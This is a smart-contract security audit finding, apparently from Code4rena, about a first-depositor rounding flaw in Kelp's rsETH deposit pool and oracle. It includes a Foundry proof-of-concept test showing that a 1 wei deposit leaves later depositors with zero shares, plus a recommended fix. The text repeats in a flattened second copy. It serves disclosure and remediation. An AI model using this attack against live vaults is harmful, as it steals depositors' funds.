Due to a miscalculation in LRTOracle#getRSETHPrice(), users who call LRTDepositPool#depositAsset() when rsETH.totalSupply() is non-zero will receive fewer rsETH tokens than they should due to a rounding error. This can be exploited by a malicious first depositor, who can deposit 1 wei (frontrunning if necessary), receive 1 share and therefore cause all subsequent deposits to mint 0 shares, despite the asset tokens being transferred to the contract. Because this results in the first depositor holding 100% of the outstanding shares (1 out of 1) no matter how many more deposits occur, the attacker is entitled to the funds of those future depositors and has essentially stolen their assets.
It is worth noting that even if the first depositor is not malicious, and they deposit a reasonable amount of asset tokens, they would still be unintentionally stealing value from future depositors as the rounding error would still be present. In other words, a loss of funds for every depositor (except whoever deposits first) is guaranteed.
Proof of Concept
Explanation
In LRTDepositPool#depositAsset(), the asset tokens are transferred to the contract, and then _mintRsETH() is called to mint shares to msg.sender, which uses getRsETHAmountToMint to determine how many shares to mint. To perform the calculation, the prices of asset and rsETH are used, which are fetched by LRTOracle#getAssetPrice() and LRTOracle#getRSETHPrice().
The issue here is that the output of getRSETHPrice() depends on the balance of rsETH tokens in LRTDepositPool (as long as rsEthSupply is non-zero), and this calculation occurs after the users asset tokens for the current mint have been transferred. This means that the rsETH price will be overinflated, and since it is used as the denominator in the calculation of rsethAmountToMint, this results in fewer tokens minted to the depositor.
File: src\LRTDepositPool.sol
095: function getRsETHAmountToMint(
096: address asset,
097: uint256 amount
098: )
099: public
100: view
101: override
102: returns (uint256 rsethAmountToMint)
103: {
104: // setup oracle contract
105: address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
106: ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);
107:
108: // calculate rseth amount to mint based on asset amount and asset exchange rate
109: rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); // @audit denominator is inflated
110: }
If the initial depositor deposits a small enough amount, say 1 wei, then the rsETH price for their mint will be 1 ether, because rsEthSupply == 0 and so the if statement is executed and they receive 1 share. With rsETH.totalSupply() now equal to 1, any future deposits will cause getRSETHPrice() to return a massively inflated value, leading to getRsETHAmountToMint() returning 0 due to a rounding error.
Coded PoC
To run the PoC, we must make some alterations to LRTDepositPoolTest.t.sol, as it currently uses LRTOracleMock defined at the top of the file, instead of LRTOracle. First, manually alter the code for LRTOracleMock so that getRSETHPrice contains the actual code from LRTOracle (simply copy and paste it in). Then, to ensure it works properly, also make sure to import LRTConfig and define the IRSETH interface.
import {LRTConfig} from "src/LRTConfig.sol";
interface IRSETH {
function totalSupply() external view returns (uint256);
}
contract LRTOracleMock {
LRTConfig lrtConfig;
// @audit necessary to set lrtConfig state variable so that getRSETHPrice() works
constructor(address _lrtConfig) {
lrtConfig = LRTConfig(_lrtConfig);
}
function getAssetPrice(address) public pure returns (uint256) {
return 1e18;
}
// @audit below function copy+pasted from LRTOracle.sol
function getRSETHPrice() external view returns (uint256 rsETHPrice) {
address rsETHTokenAddress = lrtConfig.rsETH();
uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();
if (rsEthSupply == 0) {
return 1 ether;
}
uint256 totalETHInPool;
address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);
address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
uint256 supportedAssetCount = supportedAssets.length;
for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
address asset = supportedAssets[asset_idx];
uint256 assetER = getAssetPrice(asset);
uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
totalETHInPool += totalAssetAmt * assetER;
unchecked {
++asset_idx;
}
}
return totalETHInPool / rsEthSupply;
}
}
Now the PoC can be run using the logic of the LRTOracle contract. The below test function shows that the first depositor (alice) can deposit 1 wei to ensure that any subsequent depositors receive 0 shares regardless of their depositAmount, and despite their asset tokens being transferred to the deposit pool contract.
function test_MaliciousFirstDepositor() external {
// Setup
vm.prank(admin);
lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
uint256 aliceAmount = 1 wei;
uint256 bobAmount = 40_000 ether;
uint256 carolAmount = 40_000 ether;
// Cache balances
uint256 aliceBalanceBefore = rseth.balanceOf(address(alice));
uint256 bobBalanceBefore = rseth.balanceOf(address(bob));
uint256 carolBalanceBefore = rseth.balanceOf(address(carol));
// Alice deposits
vm.startPrank(alice);
rETH.approve(address(lrtDepositPool), aliceAmount);
lrtDepositPool.depositAsset(rETHAddress, aliceAmount);
vm.stopPrank();
// Bob deposits
vm.startPrank(bob);
rETH.approve(address(lrtDepositPool), bobAmount);
lrtDepositPool.depositAsset(rETHAddress, bobAmount);
vm.stopPrank();
// Carol deposits
vm.startPrank(carol);
rETH.approve(address(lrtDepositPool), carolAmount);
lrtDepositPool.depositAsset(rETHAddress, carolAmount);
// Cache balances
uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
uint256 bobBalanceAfter = rseth.balanceOf(address(bob));
uint256 carolBalanceAfter = rseth.balanceOf(address(carol));
// Alice received 1 share while Bob and Carol received 0
assertEq(aliceBalanceAfter, 1 wei);
assertEq(bobBalanceAfter, 0);
assertEq(carolBalanceAfter, 0);
// Bob and Carol's rETH is in lrtDepositPool contract
assertEq(rETH.balanceOf(address(lrtDepositPool)), aliceAmount + bobAmount + carolAmount);
// Alice has 100% of shares
assertEq(aliceBalanceAfter, rseth.totalSupply());
}
Alternatively, simply place the test file found here into the test folder. The file has three test functions:
first depositor deposits 1 wei maliciously (shown above)
first three depositors each deposit 1 ether
fuzz test where first depositor deposits 1 wei and second depositor deposits a random amount
Tools Used
Foundry
Recommended Mitigation Steps
Calculate the amount of rsETH to mint before transferring the asset tokens from the user to the contract, so that the price of rsETH is calculated correctly and each depositor receives a fair amount of shares. Note that there is no concern for reentrancy due to this change, as nonReentrant modifiers are used throughout the protocol and rsETH is a trusted token with no mint/transfer hooks.
Lines of code
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L70 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L109
Vulnerability details
Impact
Due to a miscalculation in
LRTOracle#getRSETHPrice()
, users who callLRTDepositPool#depositAsset()
whenrsETH.totalSupply()
is non-zero will receive fewerrsETH
tokens than they should due to a rounding error. This can be exploited by a malicious first depositor, who can deposit 1 wei (frontrunning if necessary), receive 1 share and therefore cause all subsequent deposits to mint 0 shares, despite theasset
tokens being transferred to the contract. Because this results in the first depositor holding 100% of the outstanding shares (1 out of 1) no matter how many more deposits occur, the attacker is entitled to the funds of those future depositors and has essentially stolen their assets.It is worth noting that even if the first depositor is not malicious, and they deposit a reasonable amount of
asset
tokens, they would still be unintentionally stealing value from future depositors as the rounding error would still be present. In other words, a loss of funds for every depositor (except whoever deposits first) is guaranteed.Proof of Concept
Explanation
In
LRTDepositPool#depositAsset()
, theasset
tokens are transferred to the contract, and then_mintRsETH()
is called to mint shares tomsg.sender
, which usesgetRsETHAmountToMint
to determine how many shares to mint. To perform the calculation, the prices ofasset
andrsETH
are used, which are fetched byLRTOracle#getAssetPrice()
andLRTOracle#getRSETHPrice()
.The issue here is that the output of
getRSETHPrice()
depends on the balance ofrsETH
tokens inLRTDepositPool
(as long asrsEthSupply
is non-zero), and this calculation occurs after the usersasset
tokens for the current mint have been transferred. This means that thersETH
price will be overinflated, and since it is used as the denominator in the calculation ofrsethAmountToMint
, this results in fewer tokens minted to the depositor.If the initial depositor deposits a small enough amount, say 1 wei, then the
rsETH
price for their mint will be1 ether
, becausersEthSupply == 0
and so theif
statement is executed and they receive 1 share. WithrsETH.totalSupply()
now equal to 1, any future deposits will causegetRSETHPrice()
to return a massively inflated value, leading togetRsETHAmountToMint()
returning 0 due to a rounding error.Coded PoC
To run the PoC, we must make some alterations to LRTDepositPoolTest.t.sol, as it currently uses
LRTOracleMock
defined at the top of the file, instead ofLRTOracle
. First, manually alter the code forLRTOracleMock
so thatgetRSETHPrice
contains the actual code fromLRTOracle
(simply copy and paste it in). Then, to ensure it works properly, also make sure to importLRTConfig
and define theIRSETH
interface.Now the PoC can be run using the logic of the
LRTOracle
contract. The below test function shows that the first depositor (alice) can deposit 1 wei to ensure that any subsequent depositors receive 0 shares regardless of theirdepositAmount
, and despite theirasset
tokens being transferred to the deposit pool contract.Alternatively, simply place the test file found here into the test folder. The file has three test functions:
Tools Used
Foundry
Recommended Mitigation Steps
Calculate the amount of rsETH to mint before transferring the asset tokens from the user to the contract, so that the price of
rsETH
is calculated correctly and each depositor receives a fair amount of shares. Note that there is no concern for reentrancy due to this change, asnonReentrant
modifiers are used throughout the protocol andrsETH
is a trusted token with no mint/transfer hooks.Assessed type
Token-Transfer